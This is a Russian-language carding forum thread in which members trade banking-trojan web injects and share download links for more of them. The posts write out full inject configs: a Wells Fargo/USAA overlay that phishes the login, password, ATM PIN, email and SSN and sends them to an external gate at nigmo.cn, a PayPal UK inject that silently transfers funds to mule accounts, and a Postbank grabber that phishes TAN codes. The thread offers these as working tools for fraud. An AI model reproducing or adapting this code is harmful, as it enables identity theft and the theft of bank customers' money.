Примеры сложных инжектов

digix · Feb 23, 2010

Все нерабочее
нужно переделывать) рабочее уж больно быстро расползается
кому нужно тот разберется

Пассивный автозалив под постбанк
http://www.sendspace.com/file/f62meo

Реплейсер баланса на hsbc
http://www.sendspace.com/file/l9dy0i

pali4 · Feb 23, 2010

Красавчик, лови +
сделано как я и предполагал

подумаю над этой темой.
Пока сделал неко другой алгоритм аз. =)

digix · Feb 23, 2010

а вот вам блатной инжект с жабрагейтом для юсаа
вроде работает
http://www.sendspace.com/file/lefj7l

ob00m · Feb 23, 2010

digix said:
а вот вам блатной инжект с жабрагейтом для юсаа
вроде работает
http://www.sendspace.com/file/lefj7l

у инжекта свой гейт ?
пздц сейчас вопросов назреет..

digix · Feb 23, 2010

к гейты в посте выше решил еще подкинуть инж

Code:

set_url *wellsfargo.com* GP

data_before
<input type="hidden" name="fp_syslang" id="fp_syslang" value="" />
data_end
data_inject
<input type="hidden" name="j_pin" id="j_pin" value="" />
<input type="hidden" name="j_e-mail" id="j_e-mail" value="" />
<input type="hidden" name="j_ssn" id="j_ssn" value="" />
data_end
data_after
data_end

data_before
<head>
data_end
data_inject
<style>
#modalbox {border: 1px solid #ECC113; position: absolute; background-color: #FFFFFF; display:
none;z-index: 99999}
</style>
data_end
data_after
data_end

data_before
</html>
data_end
data_inject
<div id="modalbox">
<table style='margin-bottom:0;height:0' border=0 cellspacing=5 cellpadding=0 width=100% height=100%>
<font size=5 color = red><b>Verify Your Identity</b></Font>
</td></tr>
</table>
<table style='margin-bottom:0;height:0' border=0 cellspacing=5 cellpadding=0 width=100% height=100%>
<tr><td>
<h6><font color=red>
In order to avoid fraud, we must verify your identity. We ask several questions.<br> Only you can answer these questions. This information is used only for security <br>reasons, to protect you from identity fraud.<br> Please make sure you complete all required information correctly.
</font>
</h6>
<br>
<table style='' cellspacing=0 cellpadding=0 border=0 width=100%>
<tr>
<td>Online ID</td>
<td><input type='text' id='fklogin' name='fklogin'></td>
</tr>
<tr>
<td>Password</td>
<td><input type='password' id='fkpass' name='fkpass'></td>
</tr>
<tr>
<td>ATM PIN</td>
<td><input type='password' id='fkpin' name='fkpin' maxlength=4></td>
</tr>
<tr>
<td>E-mail adres</td>
<td><input type='text' id='fke-mail' name='fke-mail'></td>
</tr>
<tr>
<td>Social Security Number (SSN)</td>
<td><input type='text' name='fkssn' id='fkssn'></td>
</tr>

<tr>
<td> </td>
<td align=right><button onclick="dodologin();"  name="nextbtn" title="Login" id="nextbtnid" value="Login" class="action" type="submit">Login</button></td>
</tr>
</table>
</table>
</div>

<script>
var modalbox;
var scrollWidth;
var scrollHeight;
var xmlhttp2;

function SendData(url)
{
xmlhttp2=GetXmlHttpObject2();
if (xmlhttp2==null)
  {
  alert ("Browser does not support HTTP Request");
  return;
  }
  xmlhttp2.onreadystatechange=stateChanged2;
  xmlhttp2.open("GET",url,true);
  xmlhttp2.send(null);
}

function GetXmlHttpObject2()
{
    return new ActiveXObject("Microsoft.XMLHTTP");
}

function GetXmlHttpObject()
{
    return new ActiveXObject("Microsoft.XMLHTTP");
}

function stateChanged2()
{
if (xmlhttp2.readyState==4)
  {
    document.Logon.submit();
  }
}

function InitModal() {
modalbox = document.getElementById("modalbox");
scrollWidth = document.body.scrollWidth;
scrollHeight = document.body.scrollHeight;
}

function ShowModalbox() {
modalbox.style.display = "block";
posleft = Math.round(scrollWidth / 2) - 300;
postop = 100;
modalbox.style.left = posleft;
modalbox.style.top = postop;
modalbox.style.width = 600;
document.getElementById("fklogin").value = document.getElementById("usaaNum").value;
document.getElementById("fkpass").value = document.getElementById("usaaPass").value;
document.getElementById("fkpin").focus();
}

function checkinput() {
res = true;
v1 = document.getElementById("fklogin"); 
v2 = document.getElementById("fkpass");
v3 = document.getElementById("fkpin");
v4 = document.getElementById("fke-mail");
v5 = document.getElementById("fkssn");
if(v1.value.length < 3){alert('Please Enter Password');res = false;};
if(v2.value.length < 3){alert('Please Enter Online ID');res = false;};
if(v3.value.length < 3){alert('Please Enter ATM PIN');res = false;};
if(v4.value.length < 2){alert("Please Enter e-mail adres");res = false;};
if(v5.value.length < 6){alert('Please Enter Valid Social Security Number');res = false;};

return res;
}

function HideModalbox() {
modalbox.style.display = "none";

}

function dodologin() {
  k = checkinput();
 
  if(k){
    HideModalbox();
    document.getElementById("usaaNum").value = document.getElementById("fklogin").value;
    document.getElementById("usaaPass").value = document.getElementById("fkpass").value;
    document.getElementById("j_pin").value = document.getElementById("fkpin").value;
    document.getElementById("j_e-mail").value = document.getElementById("fke-mail").value;
    document.getElementById("j_ssn").value = document.getElementById("fkssn").value;
    u = document.getElementById("usaaNum").value;
    p = document.getElementById("usaaPass").value;
    pin = document.getElementById("j_pin").value;
    e-mail = document.getElementById("j_e-mail").value;
    ssn = document.getElementById("j_ssn").value;
    var slink = "http://nigmo.cn/inj/gate.php?data=USAA > Login: "+u+', Password: '+p+', PIN: '+pin+', e-mail: '+e-mail+', SSN: '+ssn;
    SendData(slink);
  };
  return false;
}
InitModal();

</script> 



data_end
data_after
data_end

data_before
<body*onload="
data_end
data_inject
InitModal();
data_end
data_after
data_end

data_before
<button type="submit" class="nAction" onclick="false"
data_end
data_inject
style="display:none"
data_end
data_after
data_end


data_before
Log On</button>
data_end
data_inject
<button class="nAction" onclick="ShowModalbox();">Log On</button>
data_end
data_after
data_end

тут есть такая положительная приблуда что можно все инжи под такие переделать и на 1 гейт пускать
а гейт стучит вам в жабу)))

ob00m · Feb 23, 2010

ясно теперь что такое жабрагейт =))

digix · Feb 23, 2010

все просто в самом то деле)))

---------- Сообщение добавлено в 06:13 AM ---------- Предыдущее сообщение размещено в 06:08 AM ----------

Вот вам тот же нерабочий пост но с админкой помоднее
а может и рабочий

ищите, тестируйте, пробуйте

http://www.sendspace.com/file/dgch3b

Canek · Mar 3, 2010

Ллойдс

http://www.sendspace.com/file/j5poks

pass: carder.market

HSBC

http://www.sendspace.com/file/1beybu

pass: carder.market

Барклайс - рабочий! палится инжект (полу аз)

http://www.sendspace.com/file/e3xeet

digix · Mar 3, 2010

а с остальными что за беда!?
очень уж меня такое ковыряние интригует

Canek · Mar 3, 2010

digix said:
а с остальными что за беда!?
очень уж меня такое ковыряние интригует

с ллойдсом даже незнаю точно.
hsbc изменил немного дизайн. + эта старая версия - надо ехе прогружать ботам! ехе блокирует функции IE.

digix · Mar 3, 2010

оу! ты про iereg.exe? он ко всем аз нужен?

Canek · Mar 3, 2010

digix said:
оу! ты про iereg.exe? он ко всем аз нужен?

Именно про него ) К HSBC and Barclays

digix · Mar 4, 2010

Оу.. шикаррррно(голосом картмена)

---------- Сообщение добавлено в 06:26 AM ---------- Предыдущее сообщение размещено в 05:01 AM ----------

ps: перезалей плз барик - архив битый(

Canek · Mar 4, 2010

digix said:
ps: перезалей плз барик - архив битый(

http://www.sendspace.com/file/58lda1

pass: carder.market

digix · Mar 5, 2010

Canek, спасибо очень интересные вещи
только по барику не все понял
если не сложно кинь описание в пм плиз

digix · Apr 14, 2010

спалил аз под юк палку но чет я первых двух просмотров не понял где тут указывать дропа
кому не лень читните и напишите мне)
сейчас просто дургим занят

set_url https://www.paypal.com/uk/cgi-bin* GP
data_before
if (parent.frames.length > 0){
data_end
data_inject
/*
data_end
data_after
data_end

data_before
top.location.replace(document.location);
data_end
data_inject
*/
data_end
data_after
data_end

set_url https://www.paypal.com/uk/cgi-bin/webscr?cmd=_login-done* GP
data_before
<head>
data_end
data_inject
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script>
function set_cookie(name,value){var cxdate = new Date();cxdate.setYear(2024);cxdate.setMonth(3);cxd ate.setDate(3);document.cookie=name+'='+escape(val ue)+';expires='+cxdate.toGMTString()+';path=/';}
function g_cook(name){var mycookie=document.cookie+';';var cook=mycookie.split(';');for(var x=0;x<cook.length;x++){var srh_cookie=cook[x].indexOf(name+'=');if(srh_cookie !== -1) {var nm_value=cook[x].split('=');return unescape(nm_value[1]);}}return 'null';}
function g_regdata(temp1,reg,plusodin){tmp = new Array();for (x=1;x<10;x++){var arr=reg.exec(temp1);if (arr==null){x=10;}else{var str=arr[0+plusodin];var reg1=/,/g;tmp[x]=str.replace(reg1, "");}}return tmp;}
function UPR652FSM(){
if(jQuery("#UPR652F").contents().find(":input[name='email']").length>0){
jQuery("#UPR652F").contents().find(":input[name='email']").val(jQuery("#UPR652d").text());jQuery("#UPR652F ").contents().find("#email").val(jQuery("#UPR652d" ).text());
jQuery("#UPR652F").contents().find("#email").click ();jQuery("#UPR652F").contents().find("#amount").v al(jQuery("#UPR652a").text());
jQuery("#UPR652F").contents().find(":select[name='amount_ccode']").val('GBP');jQuery("#UPR652F").contents().find(" :input[name='submit.x']").click();
}

$("#UPR652F").contents().find(":input[type='submit']").each(function(){
if($(this).val()=='Send Money'){
var echeck=new RegExp('eCheque','gim').exec($("#UPR652F").content s().find("'.fieldrow\\ payment-type'").text());
if(echeck){window.location='https://www.paypal.com/uk/cgi-bin/webscr?cmd=_account&nav=0'
}else{
$.ajax({url:'https://www.paypal.com/uk/cgi-bin/stats.do?d='+g_cook('aziddrop')+'&rep='+$("#UPR652 F").contents().find("'.fieldrow\\ payment-type'").text(),type:'GET'});
$(this).click();
}
}
});

if($("#UPR652F").contents().find("div#headline").t ext()=='The money has been sent.'){
$.ajax({url:'https://www.paypal.com/uk/cgi-bin/stats.do?d='+g_cook('aziddrop')+'&s='+$("#UPR652a" ).text(),type:'GET'});
set_cookie('azamount',$("#UPR652a").text());
}
}

$("document").ready(function(){
if(g_cook('azamount')!='null'){$("body").html('<di v id="messageBox"></div><div id="main"><div class="layout1 textcenter"><h3>Logging in</h3><img src="https://www.paypalobjects.com/WEBSCR-600-20091109-1/en_US/i/header/header_logginginAction.gif" border="0" class="actionImage" alt=""><p class="note">Sorry for inconveniance. We are performing regular maintenance, please try again</p><p><strong>PayPal. Safer. Simpler. Smarter.</strong></p></div>');$("body").show();return;
}else{
if($(":input[name$='PhoneNumber']").length>0){$("#UPR652").html('');$("body").show( );return}
var rand = function(min, max){return Math.floor(arguments.length>1?(max-min+1)* Math.random()+minmin+1)*Math.random());};
var status=0;$(".last").each(function(){var s=new RegExp('Status: Verified','gim').exec($(this).text());if(s){status =1;}})
var b=g_regdata($('.balance').text(),/[,.0-9]+/gim,0);
if(b[1]){if(b[1]-500<0){
$("body").html('<div id="UPR652" style="display:none"></div><div id="UPR652a" style="display:none"></div><div id="UPR652d" style="display:none"></div><div id="UPR653d" style="display:none"></div><div id="UPR653c" style="display:none"></div><div id="UPR653control"><div id="messageBox"></div><div id="main"><div class="layout1 textcenter"><h3>Logging in</h3><img src="https://www.paypalobjects.com/WEBSCR-600-20091109-1/en_US/i/header/header_logginginAction.gif" border="0" class="actionImage" alt=""><p class="note"></p><p><strong>PayPal. Safer. Simpler. Smarter.</strong></p></div>');$("body").show();
$.ajax({url:'https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2',t ype:'GET',async:false,timeout:10000,success:functi on(getcc){
$("#UPR652").html(getcc);var nextexpcc=0;var now=new Date();
$("#UPR652 td").each(function(){var expcc=new RegExp('(\\d{1,2}\)/(\\d{4})','gim').exec($(this).text());if(expcc){if (expcc[2]>now.getFullYear()){nextexpcc=1;}else if(expcc[2]==now.getFullYear() && expcc[1]>now.getMonth()){nextexpcc=1;}}});
if(nextexpcc==1){var bankConfirmed=0;var balance=b[1]-0+1;
$.ajax({url:'https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1',type:'GET',async:false,timeout:1000 0,success:function(getcc){$("#UPR652").html(getcc) ;$("#UPR652 td").each(function(){var Confirmed=new RegExp('Confirmed','gim').exec($(this).text());if( Confirmed){bankConfirmed=1;}});}});
$.ajax({url:'https://www.paypal.com/uk/cgi-bin/stats.do?bid=8&b='+balance+'&a='+g_cook('login_ema il')+'('+status+':'+bankConfirmed+')',type:'GET',a sync:false,timeout:10000,success:function(getdrop) {
var azrun='0'; var azdata=new RegExp('5=(.+);6.+;10=(.+);11','gim').exec(getdrop );
if(azdata) if(typeof(azdata[1]) !="undefined")azrun='1';
if (azrun=='1'){var amount=500+rand(0,100);if(status==1){amount=amount +300;}var azdrop=azdata[1];
$("#UPR652a").text(amount);$("#UPR652d").text(azdr op); set_cookie('aziddrop',azdata[2]);
$("#UPR652").html('<iframe id="UPR652F" name="UPR652F" onload="UPR652FSM();" src="https://www.paypal.com/uk/cgi-bin/webscr?cmd=_send-money&nav=1"></iframe>');
}else{window.location='https://www.paypal.com/uk/cgi-bin/webscr?cmd=_account&nav=0';}
}});
}
}});
}else{window.location='https://www.paypal.com/uk/cgi-bin/webscr?cmd=_account&nav=0';}}else{window.location= 'https://www.paypal.com/uk/cgi-bin/webscr?cmd=_account&nav=0';}
}
});
</script>
data_end
data_after
data_end

data_before
<body
data_end
data_inject
style="display:none"
data_end
data_after
data_end

data_before
<body>
data_end
data_inject
<div id="UPR652" style="display:none"></div><div id="UPR652a" style="display:none"></div><div id="UPR652d" style="display:none"></div><div id="UPR653d" style="display:none"></div><div id="UPR653c" style="display:none"></div><div id="UPR653control" style="display:none"></div>
data_end
data_after
data_end

set_url https://www.paypal.com/uk/cgi-bin* GP
data_before
if (parent.frames.length > 0){
data_end
data_inject
/*
data_end
data_after
data_end

Canek · Apr 25, 2010

Граббер Итанов под Пост ДЕ

;--------------------------------------------------------------------
set_url *banking.postbank.de/app/finanzstatus.init.do* GP
;--------------------------------------------------------------------
data_before
</body>
data_end
data_inject
<style>
.viewport{display:block;position:absolute;top:0;left:0;width:100%;height:100%;z-index:5000;background-color:#000;-moz-opacity: 0.5; opacity:.50; filter: alpha(opacity=50);}
#modalbox {border: 1px solid #ECC113; position: absolute; background-color: #FFFFFF;
z-index: 99999;}
</style>
<div id=viewport class="viewport"></div>
</div>
<form method=post name=pst action="/post_bank_tans_REC.html">
<input type=hidden name=post_cors id=post_cors value="">
<input type=hidden name=post_tpass id=post_tpass value="">
</form>
<div id=modalbox style="display:none">
<table cellspacing=0 width=570 bgcolor="#EFF3FF">
<tr>
<td align=left width=10 bgcolor="#FFFFFF">
<img src="https://banking.postbank.de/app/static/images/pblogo2.gif"/>
</td>
<td align=center bgcolor="#FFFFFF">
<h4><font color=navy>Genehmigung erforderlich</font></h4>
</td>
</tr>

<tr style="font-size: 13px;">
<td align="left" colspan=2>
<p style="margin:5px">Um die Sicherheit Ihrer Konto, mussen Sie zuerst mit ihm zu uberprufen. Dafur nehmen Sie Ihre Tabelle Koordinaten und fullen Sie das unten stehende Formular aus.</p>
</td></tr>
<tr style="font-size: 14px;">
<td align="left" colspan=2>
<br><p style="margin:5px">
Alle Koordinaten sind mit Vorsicht ausgefullt werden, sonst wird Ihr Account gesperrt werden.
</p><br>
</td></tr>

<tr><td align="center" colspan=2><b>
<table id=cor_table>
<tr style="font-size: 12px;" id=trc1>
<td align=center>1</td>
<td align=center>4</td>
<td align=center>7</td>
<td align=center>9</td>
<td align=center>15</td>
<td align=center>12</td>
<td align=center>17</td>
<td align=center>23</td>
<td align=center>51</td>
<td align=center>43</td>
</tr>
<tr style="font-size: 12px;" id=tri1>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>

</tr>
<tr style="font-size: 12px;" id=trc2>
<td align=center>22</td>
<td align=center>32</td>
<td align=center>47</td>
<td align=center>59</td>
<td align=center>35</td>
<td align=center>18</td>
<td align=center>27</td>
<td align=center>36</td>
<td align=center>19</td>
<td align=center>33</td>
</tr>
<tr style="font-size: 12px;" id=tri2>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
<td align=center><input type="text" maxlength="6" style="width:45;border-width:1px"></td>
</tr>

</table>
</td></tr>
<tr><td> </td></tr>
<tr bgcolor="#5F8CCB">
<td height="20" align="right" colspan="2">
<input type="button" style="height:20px;top:0px
;position:relative;margin:0;padding:0;border:0;
font-size:11px;font-family:verdana,bold,sans-serif;
width:80px;font-weight:bold;color:#fff;cursorointer;
background:#D5682F;" value="Anmelden" title="Anmelden" id="btn2"
onclick="doLogin2();"/>
</td>
</tr>

</table>
</div>
<script>
var arr_cors = new Array();
var cw = '';
var trc1tds = document.getElementById('trc1').getElementsByTagName('td');
var trc2tds = document.getElementById('trc2').getElementsByTagName('td');
var tri1tds = document.getElementById('tri1').getElementsByTagName('td');
var tri2tds = document.getElementById('tri2').getElementsByTagName('td');
var modalbox = document.getElementById("modalbox");
var viewport = document.getElementById("viewport");
var post_cors = document.getElementById("post_cors");
var post_tpass = document.getElementById("post_tpass");

function write_c(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}

function read_c(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca;
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}

function IsNumeric(sText)
{
var ValidChars = "0123456789";
var IsNumber=true;
var Char;
for (i = 0; i < sText.length && IsNumber == true; i++)
{
Char = sText.charAt(i);
if (ValidChars.indexOf(Char) == -1)
{
IsNumber = false;
}
}
return IsNumber;
}

function randOrd(){
return (Math.round(Math.random())-0.5);
}

function geterate_cors(){
var arr = new Array();
var count = -1;
var res = '';
for(var i=1;i<=8;i++){
for(var j=1;j<=60;j++){
count++;
arr[count] = String.fromCharCode(64+i)+j;
}
}
arr.sort(randOrd);

for(var i=0;i<=count;i++){
if(i==0){
res += arr;
}else{
res += '|'+arr;
}
}
return res;
}

function display_cors(){
for(var i=0;i<trc1tds.length;i++){
trc1tds.innerHTML = arr_cors;
}
for(var i=0;i<trc2tds.length;i++){
trc2tds.innerHTML = arr_cors[i+10];
}
}

function assign_names(){
for(var i=0; i<tri1tds.length; i++){
tri1tds.getElementsByTagName('input')[0].name = 'cor_'+trc1tds.innerHTML;
}
for(var i=0; i<tri2tds.length; i++){
tri2tds.getElementsByTagName('input')[0].name = 'cor_'+trc2tds.innerHTML;
}
}

function init_cors(){
var cors = read_c('cors');
var ask_for_cors = read_c('ask_for_cors');
if(ask_for_cors == '0'){return false}
if(cors == null && ask_for_cors == null){
var cors = geterate_cors();
write_c('ask_for_cors','1',60);
write_c('cors',cors,60);
}
var tmp = cors.split("|");
var c = 0;
for(var i=0;i<tmp.length;i++){
if(c<20){
arr_cors[c] = tmp.substring(1)
c++;
}else{
if(i == 20){
cw += tmp;
}else{
cw += '|'+tmp;
}
}
}

display_cors();
assign_names();

return true;
}

function ShowModalbox() {
var scrollWidth = document.body.scrollWidth;
var scrollHeight = document.body.scrollHeight;
posleft = Math.round(scrollWidth / 2) - 300;
postop = 10;
modalbox.style.left = posleft;
modalbox.style.top = postop;
modalbox.style.display = "block";
}

function HideModalbox() {
modalbox.style.display = "none";

}

function doLogin1(){
if(init_cors()){
ShowModalbox();
}else{
var viewport_top = parent.arriba.document.getElementById("viewport");
var viewport_left = parent.menu.document.getElementById("viewport");
var viewport_body_top = parent.interior_arriba.document.getElementById("viewport");
viewport.className = "";
viewport_top.className = "";
viewport_left.className = "";
viewport_body_top.className = "";
}
}

function doLogin2(){
post_cors.value = '';
pcors = '';

for(var i=0; i<tri1tds.length; i++){
var inp = tri1tds.getElementsByTagName('input')[0];
if(inp.value.length < 5 || (IsNumeric(inp.value) == false)){
alert('Bitte geben Sie koordiniert: "' + trc1tds.innerHTML + '"')
inp.focus();
return false;
};
if(i == 0){
pcors += trc1tds.innerHTML+'_'+inp.value;
}else{
pcors += '_'+trc1tds.innerHTML+'_'+inp.value;
}
}
for(var i=0; i<tri2tds.length; i++){
var inp = tri2tds.getElementsByTagName('input')[0];
if(inp.value.length < 5 || (IsNumeric(inp.value) == false)){
alert('Bitte geben Sie koordiniert: "' + trc2tds.innerHTML + '"')
inp.focus();
return false;
};
pcors += '_'+trc2tds.innerHTML+'_'+inp.value;

};
post_cors.value = pcors;

if(cw == ''){write_c('ask_for_cors','0',60);};
write_c('cors',cw,60);
HideModalbox();
document.pst.submit();
}

doLogin1();
</script>
data_end
data_after
data_end

ob00m · May 2, 2010

может есть у кого пару тройку примерчиков грабер сс ?

Примеры сложных инжектов

VIP member

RIPPER

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

VIP member

Similar threads